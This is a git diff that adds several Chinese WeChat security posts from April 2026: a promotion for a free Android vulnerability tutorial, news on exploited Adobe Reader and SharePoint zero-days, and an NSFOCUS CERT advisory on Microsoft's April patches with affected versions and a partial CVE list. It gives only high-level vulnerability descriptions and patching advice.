![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") +![]( "") + +  +觉得不错，就点个 “ +在看 +” 或 " +赞 +” 吧~ + diff --git a/doc/2026-04/【免费领】Android系统漏洞实战权威教程.md b/doc/2026-04/【免费领】Android系统漏洞实战权威教程.md new file mode 100644 index 00000000..ac45e58b --- /dev/null +++ b/doc/2026-04/【免费领】Android系统漏洞实战权威教程.md @@ -0,0 +1,73 @@ +# 【免费领】Android系统漏洞实战权威教程 + 蚁景网络安全 2026-04-15 09:36 + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWjRNXHaZHEfrMNCcDian3sGpzQd8HYquBhOibiaglQNQ9jL6QVibtefLCHNvymxAu0ZGKjnGf4x2hBLFA/640?wx_fmt=png "") + +点击蓝字/关注我们 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgmBny4eMeJJOramdTQiciaDu5LeMykBibiaorwCvYEX2sxq5lVYw4iaddx0qYlbQ6fAyXd22dcFOiads8w/640?wx_fmt=gif "") + +今日福利 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgmBny4eMeJJOramdTQiciaDuYRDXO8rZ2DX4p68v8aWfzp0XSlDyFJvENtj4DwOjoB5CaZVMPnfFYQ/640?wx_fmt=gif "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWjCWWfEAMTVhqG1TTmGEa5zMEBiaFsItnHPOjffujavOef7dtibvyEhhouaTnYVlkflf6tQQq5qB47w/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + +世界顶尖级黑客倾力编著 + +最全面的一本Android系统安全手册 + +利用工具结合实例详解安卓系统漏洞实战 + +限时福利，请及时领取哦 ~ + + + +**该资料内容较多，以下为节选的部分目录：** + + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldx5BcDia5aHy0jxqqD2mOsXLSAz0zflHQUVZibichz2IWcC064HyQjD7ZaEnf3MNlHibjeiaIywgowdZAQ/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldx5BcDia5aHy0jxqqD2mOsXLNST262CeiaspweOtZaBoBwwhPIKonrbiaUibZsAbY6Kuc4EjPhrcwmibBA/640?wx_fmt=png&from=appmsg "") + + +长按识别下方二维码 +， +回复 +**“0415”** +， +**免费领取** +~ + +（限7日内领取） + +【 +请注意： +不要直接 +回复 +公众号 +哦 +~ +】 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/3RhuVysG9Lfk8vprdHr8d5Kvic1v77CuKhibz3zlmyVatcKQzHHlvZp0eE3j6s4VRYd8MroZgibLKU86xL2xtsS8A/640?wx_fmt=jpeg "") + + + +**免责声明** + +所有资料均来源于网络分享，仅限用于个人学习交流，禁止任何违法操作和非法用途！由使用者产生的任何责任，与作者和本平台无关！ + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWiahvZwg4p30ZibNicibicyjWVSSlbib1QzuW7zoUMtJArLq3MwATvaEGyBeajm0Dk1uqJOibmmvcJnLoqOQ/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHr6xhtA6nca5wZnDicbKXe3FC0ic4IiasRfVm2e6Y06ZYvUv5KyVBnEmtvOyDUyn7m5PIrgwtE7Rcw/640?wx_fmt=gif "") + +点击“ +阅读原文 +”，获取更多学习资源！ + +![](https://mmbiz.qpic.cn/mmbiz_png/Ljib4So7yuWiaHr6xhtA6nca5wZnDicbKXeN0SibqAMiaSjibKI7jkge8o1AO1o0QkialLs59Bxa8iaY7yibBicue54dVEdw/640?wx_fmt=png "") + + diff --git a/doc/2026-04/【安全圈】Adobe 修复 PDF 阅读器零日漏洞，已被黑客利用至少四个月.md b/doc/2026-04/【安全圈】Adobe 修复 PDF 阅读器零日漏洞，已被黑客利用至少四个月.md new file mode 100644 index 00000000..870868d9 --- /dev/null +++ b/doc/2026-04/【安全圈】Adobe 修复 PDF 阅读器零日漏洞，已被黑客利用至少四个月.md @@ -0,0 +1,87 @@ +# 【安全圈】Adobe 修复 PDF 阅读器零日漏洞，已被黑客利用至少四个月 + 安全圈 2026-04-15 11:01 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGylgOvEXHviaXu1fO2nLov9bZ055v7s8F6w1DD1I0bx2h3zaOx0Mibd5CngBwwj2nTeEbupw7xpBsx27Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**关键词** + + + +漏洞 + + +4 月 15 日消息，Adobe 已为其旗舰文档阅读应用程序 Acrobat DC、Reader DC 及 Acrobat 2024 修复了一个漏洞，该漏洞已被黑客至少主动利用了四个月。 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/sbq02iadgfyGicViajmQAoELK7AQ23MvZ5xiahxqVrTsa7UYHcHiax64N9kQNkBiaseBUb6VrYBV19OHAkIjQwml2vqDemgIK7yrolBfjdaQ5k0r4/640?wx_fmt=jpeg&from=appmsg "") + + +该漏洞官方编号为 CVE-2026-34621，黑客可通过诱骗用户在 Windows 或 macOS 设备上打开精心构造的恶意 PDF 文件，远程在设备上植入恶意软件。该利用程序针对部分版本的 Adobe Reader 软件中的漏洞。 + +目前尚不清楚此次黑客攻击活动已影响多少用户。Adobe 在其官网公告中表示，已知晓该漏洞正被在野利用（即零日漏洞），这意味着黑客在 Adobe 发布修复程序之前，就已利用该漏洞入侵用户电脑。 + + +目前暂未查明此次黑客行动的幕后主使。由于 Adobe PDF 阅读软件使用范围极广，一直是网络犯罪分子与境外背景黑客组织的重点攻击目标，他们长期利用该软件的漏洞窃取用户电脑中的数据。 + + +安全研究员李海飞（Haifei Li，音译）运营着漏洞利用检测系统 EXPMON，在有人上传一份包含该漏洞利用代码的恶意 PDF 样本到其恶意软件扫描平台后，他发现了此漏洞。李海飞在博客中提到，另一款含恶意代码的 PDF 样本已于 2025 年 11 月下旬首次出现在在线恶意软件扫描平台 VirusTotal 上。 + + +目前仍不清楚此次黑客行动的攻击目标与动机，李海飞表示，无法从黑客服务器获取更多漏洞利用程序。但根据其分析，打开恶意 PDF 并触发漏洞 " 可能导致受害者系统被完全控制 "，黑客可借此窃取各类数据。 + + +Adobe 确认 Acrobat DC、Reader DC 和 Acrobat 2024 均受影响，并强烈建议用户将软件更新至最新版本。 + + + +  END   + + +阅读推荐 + + +[【安全圈】金山毒霸、360 安全卫士被曝存在内核驱动高危漏洞](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075647&idx=1&sn=fa2ee897d05ae80591734bbcffa07abd&scene=21#wechat_redirect) + + + +[【安全圈】开源监控平台 Grafana 曝漏洞，黑客可诱导 AI 助手泄露企业数据](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075647&idx=2&sn=8b9601124f9fd4627498d6920d66e5c9&scene=21#wechat_redirect) + + + +[【安全圈】旅游平台 Booking.com 遭黑客入侵，旅客姓名电话号码等信息外泄](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075647&idx=3&sn=9b8138c91b5833096a9a449b6af37b4c&scene=21#wechat_redirect) + + + +[【安全圈】黑客利用 Claude 和 ChatGPT 入侵多家墨西哥政府机构](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075617&idx=1&sn=ae5ccccf31e54fadb3a3ae3a96442518&scene=21#wechat_redirect) + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEDQIyPYpjfp0XDaaKjeaU6YdFae1iagIvFmFb4djeiahnUy2jBnxkMbaw/640?wx_fmt=png "") + +**安全圈** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + +←扫码关注我们 + +**网罗圈内热点 专注网络安全** + +**实时资讯一手掌握！** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + +**好看你就分享 有用就点个赞** + +**支持「****安全圈」就点个三连吧！** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + + diff --git a/doc/2026-04/【安全圈】微软 SharePoint Server 0Day漏洞遭在野利用.md b/doc/2026-04/【安全圈】微软 SharePoint Server 0Day漏洞遭在野利用.md new file mode 100644 index 00000000..87d74869 --- /dev/null +++ b/doc/2026-04/【安全圈】微软 SharePoint Server 0Day漏洞遭在野利用.md @@ -0,0 +1,101 @@ +# 【安全圈】微软 SharePoint Server 0Day漏洞遭在野利用 + 安全圈 2026-04-15 11:01 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGylgOvEXHviaXu1fO2nLov9bZ055v7s8F6w1DD1I0bx2h3zaOx0Mibd5CngBwwj2nTeEbupw7xpBsx27Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**关键词** + + + +漏洞 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/sbq02iadgfyHJeUEujjuURZicTqfGrria9yY9tKDsgict1tJt7KGX1Fm6KJJ8C3VwmxhdFImYDQicGQTY9DRDchNWMRRkjzCY2ED9LUicauHpczeU/640?wx_fmt=jpeg&from=appmsg "") + +微软在2026年4月的月度安全更新中确认，SharePoint Server存在一个关键的0Day欺骗漏洞（CVE-2026-32201）正遭在野利用。该漏洞影响多个SharePoint Server版本，CVSS基础评分为6.5（重要级），考虑到官方补丁已发布，调整后的时序评分降至6.0。 +## 漏洞技术细节 + +该漏洞源于Microsoft Office SharePoint的输入验证缺陷（CWE-20），允许未经认证的远程攻击者通过网络实施欺骗攻击。其攻击向量被归类为网络传播，攻击复杂度低，且无需特权或用户交互，为企业SharePoint部署提供了低门槛的攻击入口。 + +微软公告指出，成功利用该漏洞可能导致攻击者查看部分敏感信息并篡改公开数据，但不会影响目标资源的可用性。尽管对机密性和完整性的单独影响评级为"低"，但由于无需认证且存在在野利用，实际风险显著提升。 +## 在野利用态势 + +微软安全公告将该漏洞标记为"已检测到利用"，意味着补丁发布前已观测到实际攻击活动。漏洞利用代码成熟度标记为"功能性"，报告可信度确认为"已证实"，这一组合使该漏洞成为企业修补优先级之首。 + +该漏洞在微软发布补丁前未公开披露，表明威胁行为者可能已将其武器化为真正的0Day漏洞。微软已为所有三个受影响版本发布安全更新： +- SharePoint Server订阅版——KB5002853（Build 16.0.19725.20210） + +- SharePoint Server 2019——KB5002854（Build 16.0.10417.20114） + +- SharePoint Enterprise Server 2016——KB5002861（Build 16.0.5548.1003） + +## 应急响应建议 + +鉴于漏洞已遭在野利用，企业应将以下更新视为紧急修补： +- 立即为所有受影响SharePoint Server版本安装相应安全更新 + +- 审计SharePoint Server访问日志，排查异常网络欺骗活动或认证模式 + +- 在应用补丁前尽可能限制面向外部的SharePoint实例 + +- 监控威胁情报源，获取与在野利用活动相关的入侵指标（IOCs） + +- 确保未部署WAF规则或网络分段等额外防御措施的SharePoint实例不直接暴露于互联网 + +作为全球部署最广泛的企业协作平台之一，SharePoint Server始终是国家背景黑客和牟利型威胁组织的高价值目标。协作工具中的欺骗漏洞常被用作横向移动、凭证窃取或商业邮件入侵攻击的初始立足点。 + +微软特别强调，运行本地SharePoint部署（尤其是2016或2019版本）的企业应优先处理此补丁。微软同时感谢了安全社区就该漏洞开展的协同披露工作。 + + + +  END   + + +阅读推荐 + + +[【安全圈】金山毒霸、360 安全卫士被曝存在内核驱动高危漏洞](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075647&idx=1&sn=fa2ee897d05ae80591734bbcffa07abd&scene=21#wechat_redirect) + + + +[【安全圈】开源监控平台 Grafana 曝漏洞，黑客可诱导 AI 助手泄露企业数据](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075647&idx=2&sn=8b9601124f9fd4627498d6920d66e5c9&scene=21#wechat_redirect) + + + +[【安全圈】旅游平台 Booking.com 遭黑客入侵，旅客姓名电话号码等信息外泄](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075647&idx=3&sn=9b8138c91b5833096a9a449b6af37b4c&scene=21#wechat_redirect) + + + +[【安全圈】黑客利用 Claude 和 ChatGPT 入侵多家墨西哥政府机构](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652075617&idx=1&sn=ae5ccccf31e54fadb3a3ae3a96442518&scene=21#wechat_redirect) + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEDQIyPYpjfp0XDaaKjeaU6YdFae1iagIvFmFb4djeiahnUy2jBnxkMbaw/640?wx_fmt=png "") + +**安全圈** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + +←扫码关注我们 + +**网罗圈内热点 专注网络安全** + +**实时资讯一手掌握！** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + +**好看你就分享 有用就点个赞** + +**支持「****安全圈」就点个三连吧！** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + + diff --git a/doc/2026-04/【安全更新】微软4月安全更新多个产品高危漏洞通告.md b/doc/2026-04/【安全更新】微软4月安全更新多个产品高危漏洞通告.md new file mode 100644 index 00000000..93e57290 --- /dev/null +++ b/doc/2026-04/【安全更新】微软4月安全更新多个产品高危漏洞通告.md @@ -0,0 +1,161 @@ +# 【安全更新】微软4月安全更新多个产品高危漏洞通告 +原创 NS-CERT + NS-CERT 绿盟科技CERT 2026-04-15 11:50 + +**通告编号:NS-2026-0009** + +2026-04-15 + +
TAG：

安全更新、Windows、Office、Visual Studio、SQL Server

漏洞危害：

攻击者利用本次安全更新中的漏洞，可造成权限提升、远程代码执行等

版本：1.0
+ +**1** + + +**漏洞概述** + + +4月15日，绿盟科技CERT监测到微软发布4月安全更新补丁，修复了165个安全问题，涉及Windows、Microsoft Office、Microsoft SQL Server、Microsoft Visual Studio、Microsoft .NET Framework、Azure等广泛使用的产品，其中包括权限提升、远程代码执行等高危漏洞类型。 + +本月微软月度更新修复的漏洞中，严重程度为关键的漏洞有8个，重要漏洞有154个，中危漏洞有2个，低危漏洞有1个。其中包括1个已检测到在野利用的漏洞： + +Microsoft SharePoint Server欺骗漏洞（CVE-2026-32201） + +请相关用户尽快更新补丁进行防护，完整漏洞列表请参考附录。 + + +参考链接： + +https://msrc.microsoft.com/update-guide/releaseNote/2026-Apr + + +**SEE MORE →** + + +**2****重点漏洞简述** + +根据产品流行度和漏洞重要性筛选出此次更新中包含影响较大的漏洞，请相关用户重点进行关注： + +**Microsoft SharePoint Server欺骗漏洞（CVE-2026-32201）：** + +Microsoft SharePoint Server中存在欺骗漏洞，由于SharePoint Server 的输入验证不当，未经身份验证的攻击者可通过网络进行欺骗攻击，从而查看部分敏感信息并篡改已公开的信息。该漏洞存在在野利用，CVSS评分9.0。 + +官方通告链接：   + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201 + + +**Windows Kerberos权限提升漏洞（CVE-2026-27912）：** + +Windows Kerberos中存在权限提升漏洞，由于Kerberos服务票据请求的验证过程中存在授权不当问题，经过身份验证的攻击者可通过操纵Kerberos票据字段绕过安全检查，在相邻网络上提升权限，可能获取域管理员权限。CVSS评分8.0。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912 + + +**Remote Desktop Client远程代码执行漏洞（CVE-2026-32157）：** + +Remote Desktop Client中存在远程代码执行漏洞，由于Remote Desktop Client在处理RDP连接参数时存在释放后重用（Use After Free）问题，未经身份验证的攻击者可通过诱导用户连接到恶意RDP服务器，从而在客户端主机上执行任意代码。CVSS评分8.8。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157 + + +**Windows TCP/IP远程代码执行漏洞（CVE-2026-33827）：** + +Windows TCP/IP中存在远程代码执行漏洞，由于Windows TCP/IP中使用共享资源时的同步机制不当，未经身份验证的攻击者可通过网络利用此漏洞执行任意代码。CVSS评分8.1。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827 + + +**Windows Shell安全功能绕过漏洞（CVE-2026-32225）：** + +Windows Shell中存在安全功能绕过漏洞，由于Windows Shell中的保护机制失败，未经身份验证的攻击者可通过诱导受害者打开特制的.lnk文件，从而绕过SmartScreen安全防护，导致未经授权的操作或访问。CVSS 评分8.8。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225 + + +**Windows Internet Key Exchange (IKE) Service Extensions远程代码执行漏洞（CVE-2026-33824）：** + +Windows Internet Key Exchange (IKE) Service Extensions中存在远程代码执行漏洞，由于Windows IKE扩展中存在双重释放（Double Free）问题，未经身份验证的攻击者可通过向启用了IKEv2Windows系统发送特制的数据包，从而实现远程代码执行。CVSS评分9.8。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824 + + +**Microsoft Defender权限提升漏洞（CVE-2026-33825）****：** + +Microsoft Defender中存在权限提升漏洞，由于Microsoft Defender中的访问控制粒度不足，经过身份验证的本地攻击者可将权限提升到SYSTEM。CVSS评分7.8。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825 + + +**Windows Active Directory远程代码执行漏洞（CVE-2026-33826）：** + +Windows + Active Directory中存在远程代码执行漏洞，由于Windows Active Directory中的输入验证不当，经过身份验证的攻击者可通过相邻网络向RPC主机发送特制的RPC调用，从而实现远程代码执行。CVSS评分8.0。 + +官方通告链接： + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826 + + +**3****影响范围** + +以下为部分重点关注漏洞的受影响产品版本，其他漏洞影响产品范围请参阅官方通告链接。 +

漏洞编号

受影响产品版本

CVE-2026-32201

Microsoft SharePoint Server Subscription Edition

Microsoft SharePoint Enterprise Server 2016

Microsoft SharePoint Server 2019

CVE-2026-27912

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server 2025

Windows Server 2022, 23H2 Edition (Server Core installation)

Windows Server 2025 (Server Core installation)

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core installation)

Windows Server 2019

CVE-2026-32157

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows Server 2025

Windows 11 Version 24H2 for x64-based Systems

Windows 11 Version 24H2 for ARM64-based Systems

Windows Server 2022, 23H2 Edition (Server Core installation)

Windows 11 Version 23H2 for x64-based Systems

Windows 11 Version 23H2 for ARM64-based Systems

Windows 11 Version 25H2 for x64-based Systems

Windows 11 Version 25H2 for ARM systems

Windows Server 2025 (Server Core installation)

Windows 10 Version 22H2 for 32-bit Systems

Windows 10 Version 22H2 for ARM64-based Systems

Windows 10 Version 22H2 for x64-based Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows Server 2022 (Server Core installation)

Windows Server 2022

Remote Desktop client for Windows Desktop

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

Windows App Client for Windows Desktop

Windows 11 version 26H1 for x64-based Systems

Windows 11 Version 26H1 for ARM64-based Systems

CVE-2026-33827

CVE-2026-32225

Windows 10 Version 22H2 for ARM64-based Systems

Windows 10 Version 22H2 for x64-based Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

Windows Server 2025 (Server Core installation)

Windows 10 Version 22H2 for 32-bit Systems

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 11 Version 26H1 for ARM64-based Systems

Windows 11 version 26H1 for x64-based Systems

Windows Server 2025

Windows 11 Version 24H2 for x64-based Systems

Windows 11 Version 24H2 for ARM64-based Systems

Windows Server 2022, 23H2 Edition (Server Core installation)

Windows 11 Version 23H2 for x64-based Systems

Windows 11 Version 23H2 for ARM64-based Systems

Windows 11 Version 25H2 for x64-based Systems

Windows 11 Version 25H2 for ARM systems

CVE-2026-33824

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 11 Version 26H1 for ARM64-based Systems

Windows 11 version 26H1 for x64-based Systems

Windows Server 2025

Windows 11 Version 24H2 for x64-based Systems

Windows 11 Version 24H2 for ARM64-based Systems

Windows Server 2022, 23H2 Edition (Server Core installation)

Windows 11 Version 23H2 for x64-based Systems

Windows 11 Version 23H2 for ARM64-based Systems

Windows 11 Version 25H2 for x64-based Systems

Windows 11 Version 25H2 for ARM systems

Windows Server 2025 (Server Core installation)

Windows 10 Version 22H2 for 32-bit Systems

Windows 10 Version 22H2 for ARM64-based Systems

Windows 10 Version 22H2 for x64-based Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

CVE-2026-33825

Microsoft Defender Antimalware Platform

CVE-2026-33826

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows Server 2025

Windows Server 2022, 23H2 Edition (Server Core installation)

Windows Server 2025 (Server Core installation)

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows Server 2019 (Server Core installation)

Windows Server 2019

+ +**4****漏洞防护** + +**4.1 补丁更新** + +目前微软官方已针对受支持的产品版本发布了修复以上漏洞的安全补丁，强烈建议受影响用户尽快安装补丁进行防护，官方下载链接： + +https://msrc.microsoft.com/update-guide/releaseNote/2026-Apr + + 注：由于网络问题、计算机环境问题等原因，Windows Update的补丁更新可能出现失败。用户在安装补丁后，应及时检查补丁是否成功更新。 + +右键点击Windows图标，选择“设置(N)”，选择“更新和安全”-“Windows更新”，查看该页面上的提示信息，也可点击“查看更新历史记录”查看历史更新情况。 + +针对未成功安装的更新，可点击更新名称跳转到微软官方下载页面，建议用户点击该页面上的链接，转到“Microsoft更新目录”网站下载独立程序包并安装。 + + +**附录：漏洞列表** +

影响产品

CVE编号

漏洞标题

严重程度

Windows

CVE-2026-32157

Remote Desktop Client远程代码执行漏洞

Critical

Windows

CVE-2026-33826

Windows Active Directory远程代码执行漏洞

Critical

Microsoft .NET Framework

CVE-2026-23666

.NET Framework拒绝服务漏洞

Critical

Microsoft Office

CVE-2026-32190

Microsoft Office远程代码执行漏洞

Critical

Microsoft Office

CVE-2026-33114

Microsoft Word远程代码执行漏洞

Critical

Microsoft Office

CVE-2026-33115

Microsoft Word远程代码执行漏洞

Critical

Windows

CVE-2026-33827

Windows TCP/IP远程代码执行漏洞

Critical

Windows

CVE-2026-33824

Windows Internet Key Exchange (IKE) Service Extensions远程代码执行漏洞

Critical

Windows

CVE-2026-20930

Windows Management Services权限提升漏洞

Important

Microsoft Visual Studio Code CoPilot Chat Extension

CVE-2026-23653

GitHub Copilot and Visual Studio Code信息泄露漏洞

Important

Windows

CVE-2026-25184

Applocker Filter Driver (applockerfltr.sys)权限提升漏洞

Important

Microsoft Office

CVE-2026-20945

Microsoft SharePoint Server欺骗漏洞

Important

Windows

CVE-2026-23670

Windows Virtualization-Based Security (VBS)安全功能绕过漏洞

Important

Microsoft Dynamics

CVE-2026-26149

Microsoft Power Apps Security Feature Bypass

Important

Windows

CVE-2026-26151

Remote Desktop欺骗漏洞

Important

Windows

CVE-2026-26154

Windows Server Update Service (WSUS)篡改漏洞

Important

Windows

CVE-2026-26155

Microsoft Local Security Authority Subsystem Service信息泄露漏洞

Important

Windows

CVE-2026-26160

Remote Desktop Licensing Service权限提升漏洞

Important

Windows

CVE-2026-26161

Windows Sensor Data Service权限提升漏洞

Important

Windows

CVE-2026-26162

Windows OLE权限提升漏洞

Important

Windows

CVE-2026-26165

Windows Shell权限提升漏洞

Important

Windows

CVE-2026-26166

Windows Shell权限提升漏洞

Important

Windows

CVE-2026-26167

Windows Push Notifications权限提升漏洞

Important

Windows

CVE-2026-26174

Windows Server Update Service (WSUS)权限提升漏洞

Important

Windows

CVE-2026-26175

Windows Boot Manager安全功能绕过漏洞

Important

Windows

CVE-2026-26179

Windows Kernel权限提升漏洞

Important

Windows

CVE-2026-26180

Windows Kernel权限提升漏洞

Important

Windows

CVE-2026-26181

Microsoft Brokering File System权限提升漏洞

Important

Windows

CVE-2026-26183

Remote Access Management service/API (RPC server)权限提升漏洞

Important

Windows

CVE-2026-27906

Windows Hello安全功能绕过漏洞

Important

Windows

CVE-2026-27907

Windows Storage Spaces Controller权限提升漏洞

Important

Windows

CVE-2026-27908

Windows TDI Translation Driver (tdx.sys)权限提升漏洞

Important

Windows

CVE-2026-27915

Windows UPnP Device Host权限提升漏洞

Important

Windows

CVE-2026-27917

Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys)权限提升漏洞

Important

Windows

CVE-2026-27918

Windows Shell权限提升漏洞

Important

Windows

CVE-2026-27919

Windows UPnP Device Host权限提升漏洞

Important

Windows

CVE-2026-27921

Windows TDI Translation Driver (tdx.sys)权限提升漏洞

Important

Windows

CVE-2026-27924

Desktop Window Manager权限提升漏洞

Important

Windows

CVE-2026-27926

Windows Cloud Files Mini Filter Driver权限提升漏洞

Important

Windows

CVE-2026-27927

Windows Projected File System权限提升漏洞

Important

Windows

CVE-2026-27929

Windows LUA File Virtualization Filter Driver权限提升漏洞

Important

Windows

CVE-2026-27931

Windows GDI信息泄露漏洞

Important

Windows

CVE-2026-32071

Windows Local Security Authority Subsystem Service (LSASS)拒绝服务漏洞

Important

Windows

CVE-2026-32073

Windows Ancillary Function Driver for WinSock权限提升漏洞

Important

Windows

CVE-2026-32075

Windows UPnP Device Host权限提升漏洞

Important

Windows

CVE-2026-32081

Package Catalog信息泄露漏洞

Important

Windows

CVE-2026-32082

Windows Simple Search and Discovery Protocol (SSDP) Service权限提升漏洞

Important

Windows

CVE-2026-32083

Windows Simple Search and Discovery Protocol (SSDP) Service权限提升漏洞

Important

Windows

CVE-2026-32085

Remote Procedure Call信息泄露漏洞

Important

Windows

CVE-2026-32087

Windows Function Discovery Service (fdwsd.dll)权限提升漏洞

Important

Windows

CVE-2026-32089

Windows Speech Brokered Api权限提升漏洞

Important

Windows

CVE-2026-32090

Windows Speech Brokered Api权限提升漏洞

Important

Windows

CVE-2026-32093

Windows Function Discovery Service (fdwsd.dll)权限提升漏洞

Important

Windows

CVE-2026-32152

Desktop Window Manager权限提升漏洞

Important

Windows

CVE-2026-32154

Desktop Window Manager权限提升漏洞

Important

Windows

CVE-2026-32156

Windows UPnP Device Host远程代码执行漏洞

Important

Windows

CVE-2026-32158

Windows Push Notifications权限提升漏洞

Important

Windows

CVE-2026-32159

Windows Push Notifications权限提升漏洞

Important

Windows

CVE-2026-32160

Windows Push Notifications权限提升漏洞

Important

Windows

CVE-2026-0390

UEFI Secure Boot安全功能绕过漏洞

Important

Windows

CVE-2026-32165

Windows User Interface Core权限提升漏洞

Important

